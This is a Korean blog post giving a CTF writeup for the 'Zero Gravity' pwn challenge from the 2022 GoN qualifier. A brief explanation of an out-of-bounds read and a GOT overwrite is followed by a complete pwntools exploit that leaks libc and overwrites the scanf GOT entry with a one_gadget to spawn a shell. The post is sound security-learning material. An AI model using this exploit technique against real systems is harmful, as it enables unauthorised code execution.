deayzl's blog

[2022 Fall GoN Open Qual CTF] Zero Gravity writeup 본문

CTF writeup/GoN Open Qual CTF

[2022 Fall GoN Open Qual CTF] Zero Gravity writeup

deayzl 2022. 8. 31. 21:00

zero gravity

ghidra 로 디컴파일 한 모습이다.

 

일단 arr 의 주소를 확인해보면

 

arr

맨 밑에 cnt 값이 들어있는 주소가 위치해 있는 것을 알 수 있다.

이 값을 1 이상으로 바꿔주면 루프를 여러번 돌 수 있을 것이다.

 

그리고 이 elf 파일은 partial relro 라서 got overwrite 가 가능하다.

 

stdout stdin

위쪽에 stdout, stdin 주소가 있다.

read index 에 대한 range 설정도 없으니, libc leak 이 가능하다.

그리고 arr 주소와 got 주소의 거리를 계산한 후, 하위 4바이트를 overwrite 해주면 된다.

 

from pwn import *

p = remote('host3.dreamhack.games', 22847)
e = ELF('/home/kali/Downloads/dreamhack/gon/zero_gravity')
libc = ELF('/home/kali/Downloads/dreamhack/gon/libc6_2.35-0ubuntu3.1_amd64.so')

arr_start = 0x006010a0
printf_got = e.got['printf']
setvbuf_got = e.got['setvbuf']
memset_got = e.got['memset']
scanf_got = e.got['__isoc99_scanf']

def read(idx):
    p.recvuntil(b'>> ')
    p.send_raw(b'r\x00')
    p.recvuntil(b'>> ')
    p.send_raw(str(idx).encode() + b'\n')
    return p.recvuntil(b'\n')
def add(idx, val):
    p.recvuntil(b'>> ')
    p.send_raw(b'a\x00')
    p.recvuntil(b'>> ')
    p.send_raw(str(idx).encode() + b'\n')
    p.recvuntil(b'>> ')
    p.send_raw(str(val).encode() + b'\n')
def float_to_hex(f):
    return hex(struct.unpack('<I', struct.pack('<f', f))[0])
def hex_to_float(hex):
    return struct.unpack('!f', bytes.fromhex(hex))[0]

add(16, 180)

stdout_addr = 0x00601060

line = read((stdout_addr - arr_start) // 4).decode()[:-1]
fl1 = float(line)
line = read((stdout_addr - arr_start) // 4 + 1).decode()[:-1]
fl2 = float(line)
stdout_hex = float_to_hex(fl2) + float_to_hex(fl1)[2:]
stdout = int(stdout_hex, 16)

og_list = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8, 0xebd52, 0xebdaf, 0xebdb3]

lb = stdout - libc.symbols['_IO_2_1_stdout_']
printf = lb + libc.symbols['printf']
print('printf expect : ' + hex(printf))
og = lb + og_list[3]

print('og : ' + hex(og))

line = read((scanf_got - arr_start) // 4).decode()[:-1]
fl1 = float(line)
line = read((scanf_got - arr_start) // 4 + 1).decode()[:-1]
fl2 = float(line)
scanf_hex = float_to_hex(fl2) + float_to_hex(fl1)[2:]
print('memset hex : ' + scanf_hex)
scanf = int(scanf_hex, 16)

low_4bytes_og_hex = '0x' + hex(og)[6:]
print('low_4bytes_og_hex : ' + low_4bytes_og_hex)
og_float = hex_to_float(low_4bytes_og_hex[2:].rjust(8, '0'))

low_4bytes_og_hex = '0x' + hex(printf)[6:]
print('low_4bytes_og_hex : ' + low_4bytes_og_hex)
printf_float = hex_to_float(low_4bytes_og_hex[2:].rjust(8, '0'))

low_4bytes_og_hex = '0x' + hex(scanf)[6:]
print('low_4bytes_og_hex : ' + low_4bytes_og_hex)
scanf_float = hex_to_float(low_4bytes_og_hex[2:].rjust(8, '0'))

print(og_float - scanf_float)

add((scanf_got - arr_start) // 4, og_float - scanf_float)

p.interactive()

(뭐든지 4바이트 단위로 계산된다는 것을 유의해야 한다)

Comments